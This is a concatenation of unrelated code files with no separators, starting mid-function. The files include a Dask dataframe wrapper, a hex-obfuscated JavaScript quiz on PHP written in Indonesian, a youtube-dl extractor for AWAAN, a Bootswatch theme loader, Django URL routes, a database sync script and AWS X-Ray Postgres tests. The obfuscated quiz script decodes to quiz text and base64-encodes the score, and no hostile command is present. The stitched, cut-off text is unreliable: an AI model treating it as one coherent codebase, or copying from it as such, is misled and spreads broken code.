quotechar='"', line_terminator='\n', chunksize=None, tupleize_cols=False, date_format=None, doublequote=True, escapechar=None, decimal='.'): self.dataframe.to_csv(path_or_buf, sep, na_rep, float_format, columns, header, index, index_label, mode, encoding, compression, quoting, quotechar, line_terminator, chunksize, tupleize_cols, date_format, doublequote, escapechar, decimal) def to_json(self, path_or_buf=None, orient=None, date_format=None, double_precision=10, force_ascii=True, date_unit='ms', default_handler=None, lines=False, compression=None): self.dataframe.to_json(path_or_buf, orient, date_format, double_precision, force_ascii, date_unit, default_handler, lines, compression) @property def shape(self): return self.dataframe.shape() @property def values(self): return self.dataframe.values() @classmethod def from_pandas(cls, data): return DaskDataFrame(dd.from_pandas(data, npartitions=16)) def to_pandas(self): from Octopus.dataframe.core.pandasDataFrame import PandasDataFrame return PandasDataFrame(self.dataframe.compute()) @classmethod def from_spark(cls, sdf): pass def to_spark(self): # 小规模数据 pdf = self.to_pandas() from Octopus.dataframe.core.sparkDataFrame import SparkDataFrame return SparkDataFrame.from_pandas(pdf) # # 大规模数据 # import uuid # from Octopus.dataframe.core.sparkDataframe import SparkDataFrame # path = "/shijun/test_data/tmp/" + uuid.uuid4() + "/df.csv" # self.to_csv(path) # return SparkDataFrame.from_csv(path) def to_csv(self, path_or_buf=None, sep=",", na_rep='', float_format=None, columns=None, header=True, index=True, index_label=None, mode='w', encoding=None, compression=None, quoting=None, quotechar='"', line_terminator='\n', chunksize=None, tupleize_cols=False, date_format=None, doublequote=True, escapechar=None, decimal='.'): self.dataframe.to_csv(path_or_buf) def to_parquet(self, fname, engine='auto', compression='snappy', **kwargs): self.dataframe.to_parquet(fname, engine, compression, **kwargs) def to_records(self, index=True, convert_datetime64=True): self.dataframe.to_records(index, convert_datetime64) def groupby(self, by=None, axis=0, level=None, as_index=True, sort=True, group_keys=True, squeeze=False, **kwargs): self.dataframe.groupby(by, axis, level, as_index, sort, group_keys, squeeze, **kwargs) def drop_duplicates(self, subset=None, keep='first', inplace=False): self.dataframe.drop_duplicates(subset, keep, inplace) def from_dict(self, data, orient='columns', dtype=None, is_cache=True): self.dataframe.from_dict(data, orient, dtype, is_cache) def to_text(self, path, compression=None): self.dataframe.to_text(path, compression) def set_index(self, keys, drop=True, append=False, inplace=False, verify_integrity=False): return DaskDataFrame(self.dataframe.set_index(other=keys, drop=drop)) def join(self, other, on=None, how='left', lsuffix='', rsuffix='', sort=False): return DaskDataFrame(self.dataframe.join(other.dataframe, on, how, lsuffix, rsuffix)) def __str__(self): return self.dataframe.__str__() def astype(self, dtype, copy=True, errors='raise', **kwargs): self.dataframe.astype(dtype, copy, errors, **kwargs) @property def dtypes(self): return self.dataframe.dtypes() @classmethod def from_csv(cls, path, header=True, sep=',', index_col=0, parse_dates=True, encoding=None, tupleize_cols=False, infer_datetime_format=False, is_cache=True): return DaskDataFrame( dd.read_csv(path, header, sep, index_col, parse_dates, encoding, tupleize_cols, infer_datetime_format)) def __setitem__(self, key, value): self.dataframe.__setitem__(key, value) def describe(self, percentiles=None, include=None, exclude=None): self.dataframe.describe(percentiles, include, exclude) def from_records(self, data, index=None, exclude=None, columns=None, coerce_float=False, nrows=None, is_cache=True): self.dataframe.from_records(data, index, exclude, columns, coerce_float, nrows, is_cache) def sort_values(self, by=None, axis=0, ascending=True, inplace=False, kind='quicksort', na_position='last'): raise Exception("Dask not support function of sort_values") @property def iloc(self): return self.dataframe.iloc @property def loc(self): return self.dataframe.loc def __getitem__(self, key): return DaskDataFrame(self.dataframe[key]) @classmethod def from_array(self, data, cols=None, is_cache=True): return self.dataframe.from_array(data, cols, is_cache) def from_json(self, path, is_cache=True): return self.dataframe.from_json(path, is_cache) def mean(self, axis=None, skipna=True, level=None, numeric_only=None, **kwargs): return self.dataframe.mean(axis, skipna) def max(self, axis=None, skipna=True, level=None, numeric_only=None, **kwargs): return self.dataframe.max(axis, skipna) def min(self, axis=None, skipna=True, level=None, numeric_only=None, **kwargs): return self.dataframe.min(axis, skipna) def sum(self, axis=None, skipna=True, level=None, numeric_only=None, **kwargs): return self.dataframe.sum(axis, skipna) def count(self, axis=None, level=None, numeric_only=None, **kwargs): return self.dataframe.count(axis) def tail(self, n): return DaskDataFrame(self.dataframe.tail(n)) def merge(self, right, how='inner', on=None, left_on=None, right_on=None, left_index=False, right_index=False, suffixes=('_x', '_y'), copy=True, indicator=False, validate=None): return self.dataframe.merge(right=right.dataframe, how=how, on=on, left_on=left_on, right_on=right_on, left_index=left_index, right_index=right_index, suffixes=suffixes) def drop(self, labels=None, axis=1, index=None, columns=None, level=None, inplace=False, errors='raise'): import warnings warnings.warn("Dask drop does not support index, columns, level, inplace parameters now.") return DaskDataFrame(self.dataframe.drop(labels, axis, errors)) def groupbymin(self, groupby_obj): return self.dataframe.groupby(by=groupby_obj.by).min() def groupbymax(self, groupby_obj): return self.dataframe.groupby(by=groupby_obj.by).max() def groupbymean(self, groupby_obj): return self.dataframe.groupby(by=groupby_obj.by).mean() def groupbysum(self, groupby_obj): return self.dataframe.groupby(by=groupby_obj.by).sum() def groupbycount(self, groupby_obj): return self.dataframe.groupby(by=groupby_obj.by).count() def drop_duplicates(self, subset=None, keep='first', inplace=False): logging.warning("Dask doesn't support the following argument(s).\n" "* subset\n" "* keep\n" "* inplace\n") return self.dataframe.drop_duplicates() def read_csv_dask(filepath_or_buffer, sep=',', delimiter=None, header='infer', names=None, index_col=None, usecols=None, squeeze=False, ): pdf = pd.read_csv(filepath_or_buffer, sep, delimiter, header, names, index_col, usecols, squeeze) ddf = dd.from_pandas(pdf, npartitions=16) return DaskDataFrame(data=ddf)
var _0x12af=["\x64\x65\x66\x61\x75\x6C\x74","\x61\x70\x70\x6C\x79\x54\x68\x65\x6D\x65","\x53\x74\x79\x6C\x65\x73\x4D\x61\x6E\x61\x67\x65\x72","\x50\x72\x65\x2D\x54\x65\x73\x74\x20\x55\x6E\x69\x74\x20\x34","\x62\x6F\x74\x74\x6F\x6D","\x74\x6F\x70","\x53\x74\x61\x72\x74","\x68\x74\x6D\x6C","\x43\x6F\x6E\x67\x72\x61\x74\x75\x6C\x61\x74\x69\x6F\x6E\x21\x20\x3C\x62\x72\x2F\x3E\x59\x6F\x75\x27\x76\x65\x20\x70\x61\x73\x73\x65\x64\x20\x74\x68\x65\x20\x74\x68\x69\x72\x64\x20\x75\x6E\x69\x74\x20\x62\x65\x66\x6F\x72\x65\x3C\x62\x72\x2F\x3E","\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x33\x30\x20\x2D\x20\x31\x32\x30\x20\x73\x65\x63\x6F\x6E\x64\x73\x20\x66\x6F\x72\x20\x65\x76\x65\x72\x79\x20\x71\x75\x65\x73\x74\x69\x6F\x6E\x2E\x20\x3C\x62\x72\x2F\x3E","\x50\x6C\x65\x61\x73\x65\x2C\x20\x63\x6C\x69\x63\x6B\x20\x27\x53\x74\x61\x72\x74\x27\x20\x62\x75\x74\x74\x6F\x6E\x20\x62\x65\x6C\x6F\x77\x20\x77\x68\x65\x6E\x20\x79\x6F\x75\x20\x61\x72\x65\x20\x72\x65\x61\x64\x79\x2E","\x72\x61\x64\x69\x6F\x67\x72\x6F\x75\x70","\x6F\x6E\x65","\x59\x61\x6E\x67\x20\x74\x69\x64\x61\x6B\x20\x74\x65\x72\x6D\x61\x73\x75\x6B\x20\x6F\x70\x65\x72\x61\x74\x6F\x72\x28\x73\x69\x6D\x62\x6F\x6C\x29\x20\x61\x72\x69\x74\x6D\x61\x74\x69\x6B\x61\x20\x64\x61\x6C\x61\x6D\x20\x62\x61\x68\x61\x73\x61\x20\x50\x48\x50\x20\x61\x64\x61\x6C\x61\x68","\x72\x61\x6E\x64\x6F\x6D","\x2A\x2A","\x2A","\x25","\x5E","\x74\x77\x6F","\x59\x61\x6E\x67\x20\x62\x75\x6B\x61\x6E\x20\x6D\x65\x72\x75\x70\x61\x6B\x61\x6E\x20\x63\x6F\x6E\x74\x6F\x68\x20\x64\x61\x72\x69\x20\x6F\x70\x65\x72\x61\x74\x6F\x72\x20\x70\x65\x6D\x62\x61\x6E\x64\x69\x6E\x67\x20\x6B\x6F\x6E\x64\x69\x73\x69\x6F\x6E\x61\x6C\x20\x79\x61\x6E\x67\x20\x64\x69\x67\x75\x6E\x61\x6B\x61\x6E\x20\x70\x61\x64\x61\x20\x62\x61\x68\x61\x73\x61\x20\x50\x48\x50\x20\x61\x64\x61\x6C\x61\x68","\x21\x3D\x3D","\x21\x3D","\x3D\x3D","\x3E\x3D\x3D","\x74\x68\x72\x65\x65","\x44\x69\x62\x65\x72\x69\x6B\x61\x6E\x20\x6B\x6F\x64\x65\x20\x3C\x3F\x70\x68\x70\x20\x64\x65\x66\x69\x6E\x65\x28\x22\x50\x48\x50\x54\x55\x54\x4F\x52\x22\x2C\x20\x22\x42\x65\x6C\x61\x6A\x61\x72\x20\x64\x65\x6E\x67\x61\x6E\x20\x50\x48\x50\x20\x49\x20\x54\x75\x74\x6F\x72\x22\x2C\x20\x74\x72\x75\x65\x29\x3B\x20\x3F\x3E\x20\x61\x70\x61\x6B\x61\x68\x20\x6B\x6F\x64\x65\x20\x79\x61\x6E\x67\x20\x64\x69\x67\x75\x6E\x61\x6B\x61\x6E\x20\x75\x6E\x74\x75\x6B\x20\x6D\x65\x6E\x63\x65\x74\x61\x6B\x20\x62\x61\x67\x69\x61\x6E\x20\x22\x42\x65\x6C\x61\x6A\x61\x72\x20\x64\x65\x6E\x67\x61\x6E\x20\x50\x48\x50\x20\x49\x20\x54\x75\x74\x6F\x72\x22\x20\x64\x65\x6E\x67\x61\x6E\x20\x66\x69\x74\x75\x72\x20\x63\x6F\x6E\x73\x74\x61\x6E\x74\x73\x20\x64\x61\x72\x69\x20\x50\x48\x50\x3F","\x65\x63\x68\x6F\x20\x70\x68\x70\x74\x75\x74\x6F\x72\x3B","\x65\x63\x68\x6F\x20\x22\x50\x48\x50\x54\x55\x54\x4F\x52\x22\x3B","\x65\x63\x68\x6F\x20\x22\x42\x65\x6C\x61\x6A\x61\x72\x20\x64\x65\x6E\x67\x61\x6E\x20\x50\x48\x50\x20\x49\x20\x54\x75\x74\x6F\x72\x22\x3B","\x65\x63\x68\x6F\x20\x24\x50\x48\x50\x54\x55\x54\x4F\x52\x3B","\x66\x6F\x75\x72","\x44\x69\x62\x65\x72\x69\x6B\x61\x6E\x20\x6B\x6F\x64\x65\x20\x3C\x3F\x70\x68\x70\x20\x24\x78\x20\x3D\x20\x22\x31\x30\x22\x3B\x20\x24\x79\x20\x3D\x20\x36\x3B\x20\x65\x63\x68\x6F\x20\x22\x24\x78\x22\x2B\x22\x24\x79\x22\x3B\x3F\x3E\x20\x48\x61\x73\x69\x6C\x20\x64\x61\x72\x69\x20\x6F\x70\x65\x72\x61\x73\x69\x20\x68\x69\x74\x75\x6E\x67\x20\x64\x69\x61\x74\x61\x73\x20\x61\x64\x61\x6C\x61\x68\x2E","\x31\x30\x36","\x31\x30\x20\x36","\x31\x36","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64\x20\x76\x61\x72\x61\x69\x62\x6C\x65\x3A\x20\x78","\x66\x69\x76\x65","\x44\x69\x62\x65\x72\x69\x6B\x61\x6E\x20\x6B\x6F\x64\x65\x20\x3C\x3F\x70\x68\x70\x20\x24\x78\x20\x3D\x20\x33\x3B\x20\x20\x24\x79\x20\x3D\x20\x32\x3B\x20\x65\x63\x68\x6F\x20\x24\x78\x20\x2A\x2A\x20\x24\x79\x3B\x3F\x3E\x20\x48\x61\x73\x69\x6C\x6E\x79\x61\x20\x61\x64\x61\x6C\x61\x68\x2E\x2E","\x36","\x35","\x38","\x39","\x73\x75\x72\x76\x65\x79","\x76\x61\x6C\x75\x65","\x67\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x75\x69\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x66\x6F\x72\x6D","\x62\x6C\x6F\x63\x6B","\x73\x63\x6F\x72\x65\x70\x72\x65\x74\x65\x73\x74","\x67\x65\x74\x43\x6F\x72\x72\x65\x63\x74\x65\x64\x41\x6E\x73\x77\x65\x72\x43\x6F\x75\x6E\x74","\x62\x74\x6F\x61","\x75\x69\x64\x6E\x65\x77","\x75\x6E\x69\x74\x49\x44","\x61\x64\x64","\x6F\x6E\x43\x6F\x6D\x70\x6C\x65\x74\x65","\x23\x73\x75\x72\x76\x65\x79\x45\x6C\x65\x6D\x65\x6E\x74"];Survey[_0x12af[2]][_0x12af[1]](_0x12af[0]);var json={title:_0x12af[3],showProgressBar:_0x12af[4],showTimerPanel:_0x12af[5],firstPageIsStarted:true,startSurveyText:_0x12af[6],pages:[{questions:[{type:_0x12af[7],html:_0x12af[8]+ _0x12af[9]+ _0x12af[10]}]},{maxTimeToFinish:30,questions:[{type:_0x12af[11],name:_0x12af[12],title:_0x12af[13],choicesOrder:_0x12af[14],choices:[_0x12af[15],_0x12af[16],_0x12af[17],_0x12af[18]],correctAnswer:_0x12af[18]}]},{maxTimeToFinish:30,questions:[{type:_0x12af[11],name:_0x12af[19],title:_0x12af[20],choicesOrder:_0x12af[14],choices:[_0x12af[21],_0x12af[22],_0x12af[23],_0x12af[24]],correctAnswer:_0x12af[24]}]},{maxTimeToFinish:90,questions:[{type:_0x12af[11],name:_0x12af[25],title:_0x12af[26],choicesOrder:_0x12af[14],choices:[_0x12af[27],_0x12af[28],_0x12af[29],_0x12af[30]],correctAnswer:_0x12af[27]}]},{maxTimeToFinish:120,questions:[{type:_0x12af[11],name:_0x12af[31],title:_0x12af[32],choicesOrder:_0x12af[14],choices:[_0x12af[33],_0x12af[34],_0x12af[35],_0x12af[36]],correctAnswer:_0x12af[35]}]},{maxTimeToFinish:120,questions:[{type:_0x12af[11],name:_0x12af[37],title:_0x12af[38],choicesOrder:_0x12af[14],choices:[_0x12af[39],_0x12af[40],_0x12af[41],_0x12af[42]],correctAnswer:_0x12af[42]}]}]};window[_0x12af[43]]= new Survey.Model(json);survey[_0x12af[58]][_0x12af[57]](function(_0x42c7x2){var _0x42c7x3=document[_0x12af[47]](_0x12af[46])[_0x12af[45]](_0x12af[44]);var _0x42c7x4=4;document[_0x12af[47]](_0x12af[50])[_0x12af[49]][_0x12af[48]]= _0x12af[51];document[_0x12af[47]](_0x12af[52])[_0x12af[44]]= window[_0x12af[54]](_0x42c7x2[_0x12af[53]]());document[_0x12af[47]](_0x12af[55])[_0x12af[44]]= window[_0x12af[54]](_0x42c7x3);document[_0x12af[47]](_0x12af[56])[_0x12af[44]]= _0x42c7x4});$(_0x12af[59]).Survey({model:survey})
"use strict"; var _ = require("."); // Copyright 2017-2020 @polkadot/util authors & contributors // This software may be modified and distributed under the terms // of the Apache-2.0 license. See the LICENSE file for details. describe('u8aConcat', () => { it('concatenates arrays', () => { expect((0, _.u8aConcat)(new Uint8Array([1, 2, 3, 4]), new Uint8Array([5, 6]), new Uint8Array([7, 8, 9]))).toEqual(new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9])); }); it('concatenates arrays & hex values', () => { expect((0, _.u8aConcat)(new Uint8Array([1, 2, 3, 4]), '0x0506', '0x070809')).toEqual(new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9])); }); });
import base64 from .common import InfoExtractor from ..compat import ( compat_urllib_parse_urlencode, compat_str, ) from ..utils import ( format_field, int_or_none, parse_iso8601, smuggle_url, unsmuggle_url, urlencode_postdata, ) class AWAANIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?show/(?P<show_id>\d+)/[^/]+(?:/(?P<id>\d+)/(?P<season_id>\d+))?' def _real_extract(self, url): show_id, video_id, season_id = self._match_valid_url(url).groups() if video_id and int(video_id) > 0: return self.url_result( 'http://awaan.ae/media/%s' % video_id, 'AWAANVideo') elif season_id and int(season_id) > 0: return self.url_result(smuggle_url( 'http://awaan.ae/program/season/%s' % season_id, {'show_id': show_id}), 'AWAANSeason') else: return self.url_result( 'http://awaan.ae/program/%s' % show_id, 'AWAANSeason') class AWAANBaseIE(InfoExtractor): def _parse_video_data(self, video_data, video_id, is_live): title = video_data.get('title_en') or video_data['title_ar'] img = video_data.get('img') return { 'id': video_id, 'title': title, 'description': video_data.get('description_en') or video_data.get('description_ar'), 'thumbnail': format_field(img, template='http://admin.mangomolo.com/analytics/%s'), 'duration': int_or_none(video_data.get('duration')), 'timestamp': parse_iso8601(video_data.get('create_time'), ' '), 'is_live': is_live, 'uploader_id': video_data.get('user_id'), } class AWAANVideoIE(AWAANBaseIE): IE_NAME = 'awaan:video' _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?(?:video(?:/[^/]+)?|media|catchup/[^/]+/[^/]+)/(?P<id>\d+)' _TESTS = [{ 'url': 'http://www.dcndigital.ae/#/video/%D8%B1%D8%AD%D9%84%D8%A9-%D8%A7%D9%84%D8%B9%D9%85%D8%B1-%D8%A7%D9%84%D8%AD%D9%84%D9%82%D8%A9-1/17375', 'md5': '5f61c33bfc7794315c671a62d43116aa', 'info_dict': { 'id': '17375', 'ext': 'mp4', 'title': 'رحلة العمر : الحلقة 1', 'description': 'md5:0156e935d870acb8ef0a66d24070c6d6', 'duration': 2041, 'timestamp': 1227504126, 'upload_date': '20081124', 'uploader_id': '71', }, }, { 'url': 'http://awaan.ae/video/26723981/%D8%AF%D8%A7%D8%B1-%D8%A7%D9%84%D8%B3%D9%84%D8%A7%D9%85:-%D8%AE%D9%8A%D8%B1-%D8%AF%D9%88%D8%B1-%D8%A7%D9%84%D8%A3%D9%86%D8%B5%D8%A7%D8%B1', 'only_matching': True, }] def _real_extract(self, url): video_id = self._match_id(url) video_data = self._download_json( 'http://admin.mangomolo.com/analytics/index.php/plus/video?id=%s' % video_id, video_id, headers={'Origin': 'http://awaan.ae'}) info = self._parse_video_data(video_data, video_id, False) embed_url = 'http://admin.mangomolo.com/analytics/index.php/customers/embed/video?' + compat_urllib_parse_urlencode({ 'id': video_data['id'], 'user_id': video_data['user_id'], 'signature': video_data['signature'], 'countries': 'Q0M=', 'filter': 'DENY', }) info.update({ '_type': 'url_transparent', 'url': embed_url, 'ie_key': 'MangomoloVideo', }) return info class AWAANLiveIE(AWAANBaseIE): IE_NAME = 'awaan:live' _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?live/(?P<id>\d+)' _TEST = { 'url': 'http://awaan.ae/live/6/dubai-tv', 'info_dict': { 'id': '6', 'ext': 'mp4', 'title': 're:Dubai Al Oula [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$', 'upload_date': '20150107', 'timestamp': 1420588800, 'uploader_id': '71', }, 'params': { # m3u8 download 'skip_download': True, }, } def _real_extract(self, url): channel_id = self._match_id(url) channel_data = self._download_json( 'http://admin.mangomolo.com/analytics/index.php/plus/getchanneldetails?channel_id=%s' % channel_id, channel_id, headers={'Origin': 'http://awaan.ae'}) info = self._parse_video_data(channel_data, channel_id, True) embed_url = 'http://admin.mangomolo.com/analytics/index.php/customers/embed/index?' + compat_urllib_parse_urlencode({ 'id': base64.b64encode(channel_data['user_id'].encode()).decode(), 'channelid': base64.b64encode(channel_data['id'].encode()).decode(), 'signature': channel_data['signature'], 'countries': 'Q0M=', 'filter': 'DENY', }) info.update({ '_type': 'url_transparent', 'url': embed_url, 'ie_key': 'MangomoloLive', }) return info class AWAANSeasonIE(InfoExtractor): IE_NAME = 'awaan:season' _VALID_URL = r'https?://(?:www\.)?(?:awaan|dcndigital)\.ae/(?:#/)?program/(?:(?P<show_id>\d+)|season/(?P<season_id>\d+))' _TEST = { 'url': 'http://dcndigital.ae/#/program/205024/%D9%85%D8%AD%D8%A7%D8%B6%D8%B1%D8%A7%D8%AA-%D8%A7%D9%84%D8%B4%D9%8A%D8%AE-%D8%A7%D9%84%D8%B4%D8%B9%D8%B1%D8%A7%D9%88%D9%8A', 'info_dict': { 'id': '7910', 'title': 'محاضرات الشيخ الشعراوي', }, 'playlist_mincount': 27, } def _real_extract(self, url): url, smuggled_data = unsmuggle_url(url, {}) show_id, season_id = self._match_valid_url(url).groups() data = {} if season_id: data['season'] = season_id show_id = smuggled_data.get('show_id') if show_id is None: season = self._download_json( 'http://admin.mangomolo.com/analytics/index.php/plus/season_info?id=%s' % season_id, season_id, headers={'Origin': 'http://awaan.ae'}) show_id = season['id'] data['show_id'] = show_id show = self._download_json( 'http://admin.mangomolo.com/analytics/index.php/plus/show', show_id, data=urlencode_postdata(data), headers={ 'Origin': 'http://awaan.ae', 'Content-Type': 'application/x-www-form-urlencoded' }) if not season_id: season_id = show['default_season'] for season in show['seasons']: if season['id'] == season_id: title = season.get('title_en') or season['title_ar'] entries = [] for video in show['videos']: video_id = compat_str(video['id']) entries.append(self.url_result( 'http://awaan.ae/media/%s' % video_id, 'AWAANVideo', video_id)) return self.playlist_result(entries, season_id, title)
export const typeOptions = [ {value: 1, desc: '公司'}, {value: 2, desc: '部门'}, ] export const inheritTypeOptions = [ {value: 0, desc: '不继承'}, {value: 1, desc: '继承上级用户组'}, {value: 2, desc: '继承所有用户组'}, ]
/* Copyright (c) 2018-2020 Uber Technologies, Inc. This source code is licensed under the MIT license found in the LICENSE file in the root directory of this source tree. */ // @flow import React from 'react'; import {Button} from '../index.js'; import {SIZE} from '../constants.js'; export const name = 'button-sizes'; export const component = () => ( <React.Fragment> <Button size={SIZE.mini}>Primary</Button> <Button size={SIZE.compact}>Primary</Button> <Button size={SIZE.default}>Primary</Button> <Button size={SIZE.large}>Primary</Button> </React.Fragment> );
$.get("http://api.bootswatch.com/3/", function(data){ var themes = data.themes; var theme = themes[Math.floor(Math.random()*themes.length)]; $("head").append('<link rel="stylesheet" type="text/css" href="' + theme.cssMin + '" />'); });
from django.urls import path, include from django.contrib.auth import views as auth_views from django.views.decorators.csrf import csrf_exempt from rest_framework import routers from . import views router = routers.DefaultRouter() router.register(r'tweets', views.TweetViewSet) urlpatterns = [ path('', views.index, name='index'), path('tweet_data', views.get_tweet_data, name='get_tweet_data'), path('update_labels', views.update_labels, name='update_labels'), path('accounts/', include('django.contrib.auth.urls')), path('upload', views.upload_tweets, name='upload_tweets'), path('download', views.download_tweets, name='download_tweets'), path('api/', include(router.urls)), path('api-auth/', include('rest_framework.urls', namespace='rest_framework')), path('exclude_tweet', views.exclude_tweet, name='exclude_tweet'), path('discuss_tweet', views.discuss_tweet, name='discuss_tweet'), #path('manual_remove_labels', views.manual_remove_labels, name='manual_remove_labels'), path('errornotifier', csrf_exempt(views.errornotifier), name="errornotifier") ]
import Database, { DatabaseSeeds } from "../src/infrastructure/database"; import { ErrorHandler } from "./Utilities"; import "../TerminalColors"; /* eslint-disable no-console */ Database.connection .sync({ // * ENABLED FORCE MODE ON REST OR DOCKER OR DELETE force: process.env.NODE_ENV === "DockerDataBaseRest" || process.env.NODE_ENV === "Reset" || process.env.NODE_ENV === "Delete", alter: false, }) .then(async () => { if (process.env.NODE_ENV !== "Delete") { await DatabaseSeeds(Database); } if (process.env.NODE_ENV === "Delete") { console.log("Database deleted successfully".success); } else { console.log( `Database ${ process.env.NODE_ENV === "Reset" || process.env.NODE_ENV === "DockerDataBaseRest" ? "rested" : "initialized" } successfully`.success ); } }) .catch((err) => ErrorHandler(err));
/** * @file remove key from object */ 'use strict'; function RemoveClass () {} module.exports = { valueScenes: { name: 'remove', check (beeItem) { return beeItem instanceof RemoveClass; }, apply () { return { remove: true }; }, method () { return new RemoveClass(); } } };
var assert = require('chai').assert; var chai = require('chai'); var sinon = require('sinon'); var sinonChai = require('sinon-chai'); var AWSXRay = require('aws-xray-sdk-core'); var capturePostgres = require('../../lib/postgres_p'); var Segment = AWSXRay.Segment; var SqlData = AWSXRay.database.SqlData; var TestEmitter = require('../test_utils').TestEmitter; chai.should(); chai.use(sinonChai); describe('capturePostgres', function() { var err = new Error('An error has been encountered.'); describe('#capturePostgres', function() { it('should patch the query function the return the module', function() { var postgres = { Client: { prototype: {query: function () {} }}}; postgres = capturePostgres(postgres); assert.equal(postgres.Client.prototype.query.name, 'captureQuery'); }); }); describe('#captureQuery', function() { var postgres, query, queryObj, sandbox, segment, stubAddNew, subsegment; before(function() { postgres = { Client: { prototype: { query: function () {}, host: 'database.location', database: 'myTestDb', connectionParameters: { user: 'mcmuls', host: 'database.location', port: '8080', database: 'myTestDb' } }}}; postgres = capturePostgres(postgres); query = postgres.Client.prototype.query; postgres = postgres.Client.prototype; }); beforeEach(function() { segment = new Segment('test'); subsegment = segment.addNewSubsegment('testSub'); queryObj = new TestEmitter(); queryObj.text = 'sql statement here'; queryObj.values = ['hello', 'there']; postgres.__query = function(args, values, callback) { this._queryable = true; this.queryQueue = [ null, null, queryObj ]; queryObj.callback = callback; return queryObj; }; sandbox = sinon.createSandbox(); sandbox.stub(AWSXRay, 'getSegment').returns(segment); stubAddNew = sandbox.stub(segment, 'addNewSubsegment').returns(subsegment); sandbox.stub(AWSXRay, 'isAutomaticMode').returns(true); }); afterEach(function() { sandbox.restore(); }); it('should create a new subsegment using database and host', function() { query.call(postgres); stubAddNew.should.have.been.calledWithExactly(postgres.database + '@' + postgres.host); }); it('should add the sql data to the subsegment', function() { var stubAddSql = sandbox.stub(subsegment, 'addSqlData'); var stubDataInit = sandbox.stub(SqlData.prototype, 'init'); var conParam = postgres.connectionParameters; query.call(postgres, 'sql here'); stubDataInit.should.have.been.calledWithExactly(undefined, undefined, conParam.user, conParam.host + ':' + conParam.port + '/' + conParam.database, undefined); stubAddSql.should.have.been.calledWithExactly(sinon.match.instanceOf(SqlData)); }); it('should start a new automatic context and close the subsegment via the callback if supplied', function(done) { var stubClose = sandbox.stub(subsegment, 'close'); var session = { run: function(fcn) { fcn(); }}; var stubRun = sandbox.stub(session, 'run'); sandbox.stub(AWSXRay, 'getNamespace').returns(session); query.call(postgres, { sql: 'sql here', callback: function() {} }); assert.equal(queryObj.callback.name, 'autoContext'); queryObj.callback(); setTimeout(function() { stubClose.should.always.have.been.calledWith(undefined); stubRun.should.have.been.calledOnce; done(); }, 50); }); it('should capture the error via the callback if supplied', function(done) { var stubClose = sandbox.stub(subsegment, 'close'); queryObj.callback = function() {}; query.call(postgres, 'sql here', [], function() {}); queryObj.callback(err); setTimeout(function() { stubClose.should.have.been.calledWithExactly(err); done(); }, 50); }); it('should close the subsegment via the event if the callback is missing', function() { var stubClose = sandbox.stub(subsegment, 'close'); query.call(postgres); queryObj.emit('end'); stubClose.should.always.have.been.calledWithExactly(); }); it('should capture the error via the event if the callback is missing', function() { var stubClose = sandbox.stub(subsegment, 'close'); query.call(postgres); assert.throws(function() { queryObj.emit('error', err); }); stubClose.should.have.been.calledWithExactly(err); }); it('should start a new automatic context when last query paramater is null', function() { query.call(postgres, 'sql here', [], function() {}, null); assert.equal(queryObj.callback.name, 'autoContext'); }); }); describe('#capturePromiseQuery', function() { var postgres, query, queryObj, sandbox, segment, stubAddNew, subsegment; before(function() { postgres = { Client: { prototype: { query: function () {}, host: 'database.location', database: 'myTestDb', connectionParameters: { user: 'mcmuls', host: 'database.location', port: '8080', database: 'myTestDb' } }}}; postgres = capturePostgres(postgres); query = postgres.Client.prototype.query; postgres = postgres.Client.prototype; }); beforeEach(function() { segment = new Segment('test'); subsegment = segment.addNewSubsegment('testSub'); queryObj = new TestEmitter(); queryObj.text = 'sql statement here'; queryObj.values = ['hello', 'there']; postgres.__query = function(args, values) { this._queryable = true; this.queryQueue = [ null, null, queryObj ]; var result = new Promise(function(resolve, reject) { resolve(); }); return result; }; sandbox = sinon.createSandbox(); sandbox.stub(AWSXRay, 'getSegment').returns(segment); stubAddNew = sandbox.stub(segment, 'addNewSubsegment').returns(subsegment); sandbox.stub(AWSXRay, 'isAutomaticMode').returns(true); }); afterEach(function() { sandbox.restore(); }); it('should create a new subsegment using database and host', function() { query.call(postgres); stubAddNew.should.have.been.calledWithExactly(postgres.database + '@' + postgres.host); }); it('should add the sql data to the subsegment', function() { var stubAddSql = sandbox.stub(subsegment, 'addSqlData'); var stubDataInit = sandbox.stub(SqlData.prototype, 'init'); var conParam = postgres.connectionParameters; query.call(postgres, 'sql here'); stubDataInit.should.have.been.calledWithExactly(undefined, undefined, conParam.user, conParam.host + ':' + conParam.port + '/' + conParam.database, undefined); stubAddSql.should.have.been.calledWithExactly(sinon.match.instanceOf(SqlData)); }); it('should close the subsegment via the event', function() { var stubClose = sandbox.stub(subsegment, 'close'); query.call(postgres, 'sql here', []).then(function() { queryObj.emit('end'); stubClose.should.always.have.been.calledWithExactly(); }); }); it('should capture the error via the event', function() { var stubClose = sandbox.stub(subsegment, 'close'); query.call(postgres, { sql: 'sql here', values: [] }).then(function() { assert.throws(function() { queryObj.emit('error', err); }); stubClose.should.have.been.calledWithExactly(err); }); }); }); });
